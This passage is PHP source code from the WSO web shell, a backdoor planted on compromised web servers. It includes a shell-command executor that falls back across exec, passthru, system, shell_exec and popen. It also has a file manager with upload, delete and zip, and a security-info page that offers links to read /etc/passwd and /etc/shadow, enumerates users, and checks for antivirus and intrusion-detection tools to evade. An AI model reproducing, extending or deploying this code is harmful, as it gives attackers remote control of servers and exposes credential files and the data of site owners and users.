charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\n    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\n    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\n    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\n    var d = document;\n\tfunction set(a,c,p1,p2,p3,charset) {\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\n\t}\n\tfunction g(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\td.mf.submit();\n\t}\n\tfunction a(a,c,p1,p2,p3,charset) {\n\t\tset(a,c,p1,p2,p3,charset);\n\t\tvar params = \'ajax=true\';\n\t\tfor(i=0;i<d.mf.elements.length;i++)\n\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\n\t\tsr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\n\t}\n\tfunction sr(url, params) {\n\t\tif (window.XMLHttpRequest)\n\t\t\treq = new XMLHttpRequest();\n\t\telse if (window.ActiveXObject)\n\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\n        if (req) {\n            req.onreadystatechange = processReqChange;\n            req.open(\'POST\', url, true);\n            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\n            req.send(params);\n        }\n\t}\n\tfunction processReqChange() {\n\t\tif( (req.readyState == 4) )\n\t\t\tif(req.status == 200) {\n\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\n\t\t\t\tvar arr=reg.exec(req.responseText);\n\t\t\t\teval(arr[2].substr(0, arr[1]));\n\t\t\t} else alert(\'Request error!\');\n\t}\n</script>\n<head><body><div style=\'position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;\'> \n<form method=post name=mf style=\'display:none;\'>\n<input type=hidden name=a>\n<input type=hidden name=c>\n<input type=hidden name=p1>\n<input type=hidden name=p2>\n<input type=hidden name=p3>\n<input type=hidden name=charset>\n</form>";\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\n\t$totalSpace = $totalSpace?$totalSpace:1;\n\t$release = @php_uname(\'r\');\n\t$kernel = @php_uname(\'s\');\n\tif(!function_exists(\'posix_getegid\')) {\n\t\t$user = @get_current_user();\n\t\t$uid = @getmyuid();\n\t\t$gid = @getmygid();\n\t\t$group = "?";\n\t} else {\n\t\t$uid = @posix_getpwuid(posix_geteuid());\n\t\t$gid = @posix_getgrgid(posix_getegid());\n\t\t$user = $uid[\'name\'];\n\t\t$uid = $uid[\'uid\'];\n\t\t$group = $gid[\'name\'];\n\t\t$gid = $gid[\'gid\'];\n\t}\n\n\t$cwd_links = \'\';\n\t$path = explode("/", $GLOBALS[\'cwd\']);\n\t$n=count($path);\n\tfor($i=0; $i<$n-1; $i++) {\n\t\t$cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\n\t\tfor($j=0; $j<=$i; $j++)\n\t\t\t$cwd_links .= $path[$j].\'/\';\n\t\t$cwd_links .= "\\")\'>".$path[$i]."/</a>";\n\t}\n\n\t$charsets = array(\'UTF-8\', \'Windows-1251\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\n\t$opt_charsets = \'\';\n\tforeach($charsets as $item)\n\t\t$opt_charsets .= \'<option value="\'.$item.\'" \'.($_POST[\'charset\']==$item?\'selected\':\'\').\'>\'.$item.\'</option>\';\n\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Mail Test\'=>\'MailTest\',\'Console\'=>\'Console\',\'Sql Interface\'=>\'Sql\',\'Network\'=>\'Network\');\n\tif(!empty($GLOBALS[\'auth_pass\']))\n\t\t$m[\'Logout\'] = \'Logout\';\n\t$m[\'Self remove\'] = \'SelfRemove\';\n\t$menu = \'\';\n\tforeach($m as $k => $v)\n\t\t$menu .= \'<th width="\'.(int)(100/count($m)).\'%">[ <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a> ]</th>\';\n\n\t$drives = "";\n\tif($GLOBALS[\'os\'] == \'win\') {\n\t\tforeach(range(\'c\',\'z\') as $drive)\n\t\tif(is_dir($drive.\':\\\\\'))\n\t\t\t$drives .= \'<a href="#" onclick="g(\\\'FilesMan\\\',\\\'\'.$drive.\':/\\\')">[ \'.$drive.\' ]</a> \';\n\t}\n\techo \'<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:\' . ($GLOBALS[\'os\'] == \'win\'?\'<br>Drives:\':\'\') . \'</span></td>\'\n       . \'<td><nobr>\' . substr(@php_uname(), 0, 120) . \'</nobr><br>\' . $uid . \' ( \' . $user . \' ) <span>Group:</span> \' . $gid . \' ( \' . $group . \' )<br>\' . @phpversion() . \' <span>Safe mode:</span> \' . ($GLOBALS[\'safe_mode\']?\'<font color=red>ON</font>\':\'<font color=lime><b>OFF</b></font>\')\n       . \' <a href=# onclick="g(\\\'Php\\\',null,\\\'\\\',\\\'info\\\')">[ phpinfo ]</a> <span>Datetime:</span> \' . date(\'Y-m-d H:i:s\') . \'<br>\' . wsoViewSize($totalSpace) . \' <span>Free:</span> \' . wsoViewSize($freeSpace) . \' (\'. (int) ($freeSpace/$totalSpace*100) . \'%)<br>\' . $cwd_links . \' \'. wsoPermsColor($GLOBALS[\'cwd\']) . \' <a href=# onclick="g(\\\'FilesMan\\\',\\\'\' . $GLOBALS[\'home_cwd\'] . \'\\\',\\\'\\\',\\\'\\\',\\\'\\\')">[ home ]</a><br>\' . $drives . \'</td>\'\n       . \'<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">\' . $opt_charsets . \'</optgroup></select><br><span>Server IP:</span><br>\' . @$_SERVER["SERVER_ADDR"] . \'<br><span>Client IP:</span><br>\' . $_SERVER[\'REMOTE_ADDR\'] . \'</nobr></td></tr></table>\'\n       . \'<table style="background-color:#2E6E9C" cellpadding=3 cellspacing=0 width=100%><tr>\' . $menu . \'</tr></table><div style="margin:5">\';\n}\n\nfunction wsoFooter() {\n\t$is_writable = is_writable($GLOBALS[\'cwd\'])?" <font color=\'lime\'>(Writeable)</font>":" <font color=red>(Not writable)</font>";\n    echo "\n</div>\n<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%> \n\t<tr>\n\t\t<td><form onsubmit=\'g(null,this.c.value,\\"\\");return false;\'><span>Change dir:</span><br><input class=\'toolsInp\' type=text name=c value=\'" . htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=submit value=\'>>\'></form></td>\n\t\t<td><form onsubmit=\\"g(\'FilesTools\',null,this.f.value);return false;\\"><span>Read file:</span><br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\\"g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;\\"><span>Make dir:</span>$is_writable<br><input class=\'toolsInp\' type=text name=d><input type=submit value=\'>>\'></form></td>\n\t\t<td><form onsubmit=\\"g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;\\"><span>Make file:</span>$is_writable<br><input class=\'toolsInp\' type=text name=f><input type=submit value=\'>>\'></form></td>\n\t</tr><tr>\n\t\t<td><form onsubmit=\\"g(\'Console\',null,this.c.value);return false;\\"><span>Execute:</span><br><input class=\'toolsInp\' type=text name=c value=\'\'><input type=submit value=\'>>\'></form></td>\n\t\t<td><form method=\'post\' ENCTYPE=\'multipart/form-data\'>\n\t\t<input type=hidden name=a value=\'FilesMAn\'>\n\t\t<input type=hidden name=c value=\'" . $GLOBALS[\'cwd\'] ."\'>\n\t\t<input type=hidden name=p1 value=\'uploadFile\'>\n\t\t<input type=hidden name=charset value=\'" . (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') . "\'>\n\t\t<span>Upload file:</span>$is_writable<br><input class=\'toolsInp\' type=file name=f><input type=submit value=\'>>\'></form><br  ></td>\n\t</tr></table></div><div id=\'particles-js\'></div><script src=\'http://cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js\'></script> \n    <script>particlesJS(\'particles-js\', {\'particles\':{\'number\':{\'value\':80,\'density\':{\'enable\':true,\'value_area\':800}},\'color\':{\'value\':\'#ffffff\'},\'shape\':{\'type\':\'triangle\',\'stroke\':{\'width\':0,\'color\':\'#000000\'},\'polygon\':{\'nb_sides\':5},\'image\':{\'src\':\'img/github.svg\',\'width\':100,\'height\':100}},\'opacity\':{\'value\':0.5,\'random\':true,\'anim\':{\'enable\':false,\'speed\':1,\'opacity_min\':0.1,\'sync\':false}},\'size\':{\'value\':3,\'random\':true,\'anim\':{\'enable\':false,\'speed\':40,\'size_min\':0.1,\'sync\':false}},\'line_linked\':{\'enable\':true,\'distance\':200,\'color\':\'#ffffff\',\'opacity\':0.4,\'width\':1},\'move\':{\'enable\':true,\'speed\':1,\'direction\':\'none\',\'random\':true,\'straight\':false,\'out_mode\':\'out\',\'bounce\':false,\'attract\':{\'enable\':false,\'rotateX\':10000,\'rotateY\':10000}}},\'interactivity\':{\'detect_on\':\'canvas\',\'events\':{\'onhover\':{\'enable\':true,\'mode\':\'grab\'},\'onclick\':{\'enable\':true,\'mode\':\'repulse\'},\'resize\':true},\'modes\':{\'grab\':{\'distance\':200,\'line_linked\':{\'opacity\':0.5}},\'bubble\':{\'particles_nb\':2}}},\'retina_detect\':true});</script> \n    </body></html>";\n}\n\nif (!function_exists("posix_getpwuid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getpwuid\')===false)) {\n    function posix_getpwuid($p) {return false;} }\nif (!function_exists("posix_getgrgid") && (strpos($GLOBALS[\'disable_functions\'], \'posix_getgrgid\')===false)) {\n    function posix_getgrgid($p) {return false;} }\n\nfunction wsoEx($in) {\n\t$out = \'\';\n\tif (function_exists(\'exec\')) {\n\t\t@exec($in,$out);\n\t\t$out = @join("\\n",$out);\n\t} elseif (function_exists(\'passthru\')) {\n\t\tob_start();\n\t\t@passthru($in);\n\t\t$out = ob_get_clean();\n\t} elseif (function_exists(\'system\')) {\n\t\tob_start();\n\t\t@system($in);\n\t\t$out = ob_get_clean();\n\t} elseif (function_exists(\'shell_exec\')) {\n\t\t$out = shell_exec($in);\n\t} elseif (is_resource($f = @popen($in,"r"))) {\n\t\t$out = "";\n\t\twhile(!@feof($f))\n\t\t\t$out .= fread($f,1024);\n\t\tpclose($f);\n\t}\n\treturn $out;\n}\n\nfunction wsoViewSize($s) {\n    if (is_int($s))\n        $s = sprintf("%u", $s);\n    \n\tif($s >= 1073741824)\n\t\treturn sprintf(\'%1.2f\', $s / 1073741824 ). \' GB\';\n\telseif($s >= 1048576)\n\t\treturn sprintf(\'%1.2f\', $s / 1048576 ) . \' MB\';\n\telseif($s >= 1024)\n\t\treturn sprintf(\'%1.2f\', $s / 1024 ) . \' KB\';\n\telse\n\t\treturn $s . \' B\';\n}\n\nfunction wsoPerms($p) {\n\tif (($p & 0xC000) == 0xC000)$i = \'s\';\n\telseif (($p & 0xA000) == 0xA000)$i = \'l\';\n\telseif (($p & 0x8000) == 0x8000)$i = \'-\';\n\telseif (($p & 0x6000) == 0x6000)$i = \'b\';\n\telseif (($p & 0x4000) == 0x4000)$i = \'d\';\n\telseif (($p & 0x2000) == 0x2000)$i = \'c\';\n\telseif (($p & 0x1000) == 0x1000)$i = \'p\';\n\telse $i = \'u\';\n\t$i .= (($p & 0x0100) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0080) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0040) ? (($p & 0x0800) ? \'s\' : \'x\' ) : (($p & 0x0800) ? \'S\' : \'-\'));\n\t$i .= (($p & 0x0020) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0010) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0008) ? (($p & 0x0400) ? \'s\' : \'x\' ) : (($p & 0x0400) ? \'S\' : \'-\'));\n\t$i .= (($p & 0x0004) ? \'r\' : \'-\');\n\t$i .= (($p & 0x0002) ? \'w\' : \'-\');\n\t$i .= (($p & 0x0001) ? (($p & 0x0200) ? \'t\' : \'x\' ) : (($p & 0x0200) ? \'T\' : \'-\'));\n\treturn $i;\n}\n\nfunction wsoPermsColor($f) {\n\tif (!@is_readable($f))\n\t\treturn \'<font color=#FF0000>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n\telseif (!@is_writable($f))\n\t\treturn \'<font color=white>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n\telse\n\t\treturn \'<font color=#25ff00>\' . wsoPerms(@fileperms($f)) . \'</font>\';\n}\n\nfunction wsoScandir($dir) {\n    if(function_exists("scandir")) {\n        return scandir($dir);\n    } else {\n        $dh  = opendir($dir);\n        while (false !== ($filename = readdir($dh)))\n            $files[] = $filename;\n        return $files;\n    }\n}\n\nfunction wsoWhich($p) {\n\t$path = wsoEx(\'which \' . $p);\n\tif(!empty($path))\n\t\treturn $path;\n\treturn false;\n}\n\nfunction actionSecInfo() {\n\twsoHeader();\n\techo \'<h1>Server security information</h1><div class=content>\';\n\tfunction wsoSecParam($n, $v) {\n\t\t$v = trim($v);\n\t\tif($v) {\n\t\t\techo \'<span>\' . $n . \': </span>\';\n\t\t\tif(strpos($v, "\\n") === false)\n\t\t\t\techo $v . \'<br>\';\n\t\t\telse\n\t\t\t\techo \'<pre class=ml1>\' . $v . \'</pre>\';\n\t\t}\n\t}\n\n\twsoSecParam(\'Server software\', @getenv(\'SERVER_SOFTWARE\'));\n    if(function_exists(\'apache_get_modules\'))\n        wsoSecParam(\'Loaded Apache modules\', implode(\', \', apache_get_modules()));\n\twsoSecParam(\'Disabled PHP Functions\', $GLOBALS[\'disable_functions\']?$GLOBALS[\'disable_functions\']:\'none\');\n\twsoSecParam(\'Open base dir\', @ini_get(\'open_basedir\'));\n\twsoSecParam(\'Safe mode exec dir\', @ini_get(\'safe_mode_exec_dir\'));\n\twsoSecParam(\'Safe mode include dir\', @ini_get(\'safe_mode_include_dir\'));\n\twsoSecParam(\'cURL support\', function_exists(\'curl_version\')?\'enabled\':\'no\');\n\t$temp=array();\n\tif(function_exists(\'mysql_get_client_info\'))\n\t\t$temp[] = "MySql (".mysql_get_client_info().")";\n\tif(function_exists(\'mssql_connect\'))\n\t\t$temp[] = "MSSQL";\n\tif(function_exists(\'pg_connect\'))\n\t\t$temp[] = "PostgreSQL";\n\tif(function_exists(\'oci_connect\'))\n\t\t$temp[] = "Oracle";\n\twsoSecParam(\'Supported databases\', implode(\', \', $temp));\n\techo \'<br>\';\n\n\tif($GLOBALS[\'os\'] == \'nix\') {\n            wsoSecParam(\'Readable /etc/passwd\', @is_readable(\'/etc/passwd\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"passwd\\")\'>[view]</a>":\'no\');\n            wsoSecParam(\'Readable /etc/shadow\', @is_readable(\'/etc/shadow\')?"yes <a href=\'#\' onclick=\'g(\\"FilesTools\\", \\"/etc/\\", \\"shadow\\")\'>[view]</a>":\'no\');\n            wsoSecParam(\'OS version\', @file_get_contents(\'/proc/version\'));\n            wsoSecParam(\'Distr name\', @file_get_contents(\'/etc/issue.net\'));\n            if(!$GLOBALS[\'safe_mode\']) {\n                $userful = array(\'gcc\',\'lcc\',\'cc\',\'ld\',\'make\',\'php\',\'perl\',\'python\',\'ruby\',\'tar\',\'gzip\',\'bzip\',\'bzip2\',\'nc\',\'locate\',\'suidperl\');\n                $danger = array(\'kav\',\'nod32\',\'bdcored\',\'uvscan\',\'sav\',\'drwebd\',\'clamd\',\'rkhunter\',\'chkrootkit\',\'iptables\',\'ipfw\',\'tripwire\',\'shieldcc\',\'portsentry\',\'snort\',\'ossec\',\'lidsadm\',\'tcplodg\',\'sxid\',\'logcheck\',\'logwatch\',\'sysmask\',\'zmbscap\',\'sawmill\',\'wormscan\',\'ninja\');\n                $downloaders = array(\'wget\',\'fetch\',\'lynx\',\'links\',\'curl\',\'get\',\'lwp-mirror\');\n                echo \'<br>\';\n                $temp=array();\n                foreach ($userful as $item)\n                    if(wsoWhich($item))\n                        $temp[] = $item;\n                wsoSecParam(\'Userful\', implode(\', \',$temp));\n                $temp=array();\n                foreach ($danger as $item)\n                    if(wsoWhich($item))\n                        $temp[] = $item;\n                wsoSecParam(\'Danger\', implode(\', \',$temp));\n                $temp=array();\n                foreach ($downloaders as $item)\n                    if(wsoWhich($item))\n                        $temp[] = $item;\n                wsoSecParam(\'Downloaders\', implode(\', \',$temp));\n                echo \'<br/>\';\n                wsoSecParam(\'HDD space\', wsoEx(\'df -h\'));\n                wsoSecParam(\'Hosts\', @file_get_contents(\'/etc/hosts\'));\n                echo \'<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\\\'g(null,null,"5",this.param1.value,this.param2.value);return false;\\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>\';\n                if (isset ($_POST[\'p2\'], $_POST[\'p3\']) && is_numeric($_POST[\'p2\']) && is_numeric($_POST[\'p3\'])) {\n                    $temp = "";\n                    for(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {\n                        $uid = @posix_getpwuid($_POST[\'p2\']);\n                        if ($uid)\n                            $temp .= join(\':\',$uid)."\\n";\n                    }\n                    echo \'<br/>\';\n                    wsoSecParam(\'Users\', $temp);\n                }\n            }\n\t} else {\n\t\twsoSecParam(\'OS Version\',wsoEx(\'ver\'));\n\t\twsoSecParam(\'Account Settings\',wsoEx(\'net accounts\'));\n\t\twsoSecParam(\'User Accounts\',wsoEx(\'net user\'));\n\t}\n\techo \'</div>\';\n\twsoFooter();\n}\n\nfunction actionMailTest() {\n\tfunction get_base_url()\n\t{\n\t\t$myurl = \'http://\'.$_SERVER[\'SERVER_NAME\'].$_SERVER[\'REQUEST_URI\'];\n\t\t$p = parse_url($myurl);\n\t\t$myname = explode("/", $p[\'path\']);\n\t\t$myname = $myname[count($myname) - 1];\n\t\t$base_url = $p[\'scheme\'].\'://\'.$p[\'host\'].str_replace($myname, "", $p[\'path\']);\n\t\treturn substr($base_url, 0, -1).$_SERVER[\'SCRIPT_NAME\'];\n\t}\n\tif (!function_exists(\'posix_getegid\')) {\n\t    $user = @get_current_user();\n\t} else {\n\t    $uid = @posix_getpwuid(posix_geteuid());\n\t    $user = $uid[\'name\'];\n\t}\n\t$myurl = get_base_url();\n\t$from = "From: Result Doc<$user@".$_SERVER[\'HOST_NAME\'].">";\n\twsoHeader();\n\techo \'<h1>Mail Test</h1><div class=content><table><form name=em onSubmit="g(null,null,\\\'ems\\\',this.mailto.value,this.usere.value);return false;"><tr><td><span>Send to</span></td><td><input type=text name=mailto value=><input type=hidden name=usere value=$user></td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>\';\n\tif (isset($_POST[\'p1\'])) {\n\t    if ($_POST[\'p1\'] == \'ems\') {\n\t        $from_add = $_POST[\'p3\'] . "@" . php_uname(\'n\');\n\t        $to_add = $_POST[\'p2\'];\n\t        $subject = "Mail Test - $myurl";\n\t        $message = "Test Message : " . $myurl;\n\t        $headers = "From: Mail Test <$from_add>\\r\\n";\n\t        $headers.= "Reply-To: $from_add\\r\\n";\n\t        $headers.= "Return-Path: $from_add\\r\\n";\n\t        $headers.= \'X-Mailer: PHP/\' . phpversion();\n\t        if (mail($to_add, $subject, $message, $headers)) {\n\t            echo "Mail sent to $_POST[p2]";\n\t        } else {\n\t            echo "Error sending email!";\n\t        }\n\t    }\n}\necho \'</div><br>\';\nwsoFooter();\n}\n\nfunction actionFilesMan() {\n    if (!empty ($_COOKIE[\'f\']))\n        $_COOKIE[\'f\'] = @unserialize($_COOKIE[\'f\']);\n    \n\tif(!empty($_POST[\'p1\'])) {\n\t\tswitch($_POST[\'p1\']) {\n\t\t\tcase \'uploadFile\':\n\t\t\t\tif(!@move_uploaded_file($_FILES[\'f\'][\'tmp_name\'], $_FILES[\'f\'][\'name\']))\n\t\t\t\t\techo "Can\'t upload!";\n\t\t\t\tbreak;\n\t\t\tcase \'mkdir\':\n\t\t\t\tif(!@mkdir($_POST[\'p2\']))\n\t\t\t\t\techo "Can\'t create!";\n\t\t\t\tbreak;\n\t\t\tcase \'delete\':\n\t\t\t\tfunction deleteDir($path) {\n\t\t\t\t\t$path = (substr($path,-1)==\'/\') ? $path:$path.\'/\';\n\t\t\t\t\t$dh  = opendir($path);\n\t\t\t\t\twhile ( ($item = readdir($dh) ) !== false) {\n\t\t\t\t\t\t$item = $path.$item;\n\t\t\t\t\t\tif ( (basename($item) == "..") || (basename($item) == ".") )\n\t\t\t\t\t\t\tcontinue;\n\t\t\t\t\t\t$type = filetype($item);\n\t\t\t\t\t\tif ($type == "dir")\n\t\t\t\t\t\t\tdeleteDir($item);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@unlink($item);\n\t\t\t\t\t}\n\t\t\t\t\tclosedir($dh);\n\t\t\t\t\t@rmdir($path);\n\t\t\t\t}\n\t\t\t\tif(is_array(@$_POST[\'f\']))\n\t\t\t\t\tforeach($_POST[\'f\'] as $f) {\n                        if($f == \'..\')\n                            continue;\n\t\t\t\t\t\t$f = urldecode($f);\n\t\t\t\t\t\tif(is_dir($f))\n\t\t\t\t\t\t\tdeleteDir($f);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\t@unlink($f);\n\t\t\t\t\t}\n\t\t\t\tbreak;\n\t\t\tcase \'paste\':\n\t\t\t\tif($_COOKIE[\'act\'] == \'copy\') {\n\t\t\t\t\tfunction copy_paste($c,$s,$d){\n\t\t\t\t\t\tif(is_dir($c.$s)){\n\t\t\t\t\t\t\tmkdir($d.$s);\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\t\t\t\t\t\t} elseif(is_file($c.$s))\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\t\t\t\t\t}\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\n\t\t\t\t\t\tcopy_paste($_COOKIE[\'c\'],$f, $GLOBALS[\'cwd\']);\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'move\') {\n\t\t\t\t\tfunction move_paste($c,$s,$d){\n\t\t\t\t\t\tif(is_dir($c.$s)){\n\t\t\t\t\t\t\tmkdir($d.$s);\n\t\t\t\t\t\t\t$h = @opendir($c.$s);\n\t\t\t\t\t\t\twhile (($f = @readdir($h)) !== false)\n\t\t\t\t\t\t\t\tif (($f != ".") and ($f != ".."))\n\t\t\t\t\t\t\t\t\tcopy_paste($c.$s.\'/\',$f, $d.$s.\'/\');\n\t\t\t\t\t\t} elseif(@is_file($c.$s))\n\t\t\t\t\t\t\t@copy($c.$s, $d.$s);\n\t\t\t\t\t}\n\t\t\t\t\tforeach($_COOKIE[\'f\'] as $f)\n\t\t\t\t\t\t@rename($_COOKIE[\'c\'].$f, $GLOBALS[\'cwd\'].$f);\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'zip\') {\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n                        $zip = new ZipArchive();\n                        if ($zip->open($_POST[\'p2\'], 1)) {\n                            chdir($_COOKIE[\'c\']);\n                            foreach($_COOKIE[\'f\'] as $f) {\n                                if($f == \'..\')\n                                    continue;\n                                if(@is_file($_COOKIE[\'c\'].$f))\n                                    $zip->addFile($_COOKIE[\'c\'].$f, $f);\n                                elseif(@is_dir($_COOKIE[\'c\'].$f)) {\n                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.\'/\', FilesystemIterator::SKIP_DOTS));\n                                    foreach ($iterator as $key=>$value) {\n                                        $zip->addFile(realpath($key), $key);\n                                    }\n                                }\n                            }\n                            chdir($GLOBALS[\'cwd\']);\n                            $zip->close();\n                        }\n                    }\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'unzip\') {\n\t\t\t\t\tif(class_exists(\'ZipArchive\')) {\n                        $zip = new ZipArchive();\n                        foreach($_COOKIE[\'f\'] as $f) {\n                            if($zip->open($_COOKIE[\'c\'].$f)) {\n                                $zip->extractTo($GLOBALS[\'cwd\']);\n                                $zip->close();\n                            }\n                        }\n                    }\n\t\t\t\t} elseif($_COOKIE[\'act\'] == \'tar\') {\n                    chdir($_COOKIE[\'c\']);\n                    $_COOKIE[\'f\'] = array_map(\'escapeshellarg\', $_COOKIE[\'f\']);\n                    wsoEx(\'tar cfzv \' . escapeshellarg($_POST[\'p2\']) . \' \' . implode(\' \', $_COOKIE[\'f\']));\n                    chdir($GLOBALS[\'cwd\']);\n\t\t\t\t}\n\t\t\t\tunset($_COOKIE[\'f\']);\n                setcookie(\'f\', \'\', time() - 3600);\n\t\t\t\tbreak;\n\t\t\tdefault:\n                if(!empty($_POST[\'p1\'])) {\n\t\t\t\t\tWSOsetcookie(\'act\', $_POST[\'p1\']);\n\t\t\t\t\tWSOsetcookie(\'f\', serialize(@$_POST[\'f\']));\n\t\t\t\t\tWSOsetcookie(\'c\', @$_POST[\'c\']);\n\t\t\t\t}\n\t\t\t\tbreak;\n\t\t}\n\t}\n    wsoHeader();\n\techo \'<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>\';\n\t$dirContent = wsoScandir(isset($_POST[\'c\'])?$_POST[\'c\']:$GLOBALS[\'cwd\']);\n\tif($dirContent === false) {\techo \'Can\\\'t open this folder!\';wsoFooter(); return; }\n\tglobal $sort;\n\t$sort = array(\'name\', 1);\n\tif(!empty($_POST[\'p1\'])) {\n\t\tif(preg_match(\'!s_([A-z]+)_(\\d{1})!\', $_POST[\'p1\'], $match))\n\t\t\t$sort = array($match[1], (int)$match[2]);\n\t}\necho "<script>\n\tfunction sa() {\n\t\tfor(i=0;i<d.files.elements.length;i++)\n\t\t\tif(d.files.elements[i].type == \'checkbox\')\n\t\t\t\td.files.elements[i].checked = d.files.elements[0].checked;\n\t}\n</script>\n<table width=\'100%\' class=\'main\' cellspacing=\'0\' cellpadding=\'2\'>\n<form name=files method=post><tr><th width=\'13px\'><input type=checkbox onclick=\'sa()\' class=chkbx></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_name_".($sort[1]?0:1)."\\")\'>Name</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_size_".($sort[1]?0:1)."\\")\'>Size</a></th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_modify_".($sort[1]?0:1)."\\")\'>Modify</a></th><th>Owner/Group</th><th><a href=\'#\' onclick=\'g(\\"FilesMan\\",null,\\"s_perms_".($sort[1]?0:1)."\\")\'>Permissions</a></th><th>Actions</th></tr>";\n\t$dirs = $files = array();\n\t$n = count($dirContent);\n\tfor($i=0;$i<$n;$i++) {\n\t\t$ow = @posix_getpwuid(@fileowner($dirContent[$i]));\n\t\t$gr = @posix_getgrgid(@filegroup($dirContent[$i]));\n\t\t$tmp = array(\'name\' => $dirContent[$i],\n\t\t\t\t\t \'path\' => $GLOBALS[\'cwd\'].$dirContent[$i],\n\t\t\t\t\t \'modify\' => date(\'Y-m-d H:i:s\', @filemtime($GLOBALS[\'cwd\'] . $dirContent[$i])),\n\t\t\t\t\t \'perms\' => wsoPermsColor($GLOBALS[\'cwd\'] . $dirContent[$i]),\n\t\t\t\t\t \'size\' => @filesize($GLOBALS[\'cwd\'].$dirContent[$i]),\n\t\t\t\t\t \'owner\' => $ow[\'name\']?$ow[\'name\']:@fileowner($dirContent[$i]),\n\t\t\t\t\t \'group\' => $gr[\'name\']?$gr[\'name\']:@filegroup($dirContent[$i])\n\t\t\t\t\t);\n\t\tif(@is_file($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$files[] = array_merge($tmp, array(\'type\' => \'file\'));\n\t\telseif(@is_link($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'link\', \'link\' => readlink($tmp[\'path\'])));\n\t\telseif(@is_dir($GLOBALS[\'cwd\'] . $dirContent[$i]))\n\t\t\t$dirs[] = array_merge($tmp, array(\'type\' => \'dir\'));\n\t}\n\t$GLOBALS[\'sort\'] = $sort;\n\tfunction wsoCmp($a, $b) {\n\t\tif($GLOBALS[\'sort\'][0] != \'size\')\n\t\t\treturn strcmp(strtolower($a[$GLOBALS[\'sort\'][0]]), strtolower($b[$GLOBALS[\'sort\'][0]]))*($GLOBALS[\'sort\'][1]?1:-1);\n\t\telse\n\t\t\treturn (($a[\'size\'] < $b[\'size\']) ? -1 : 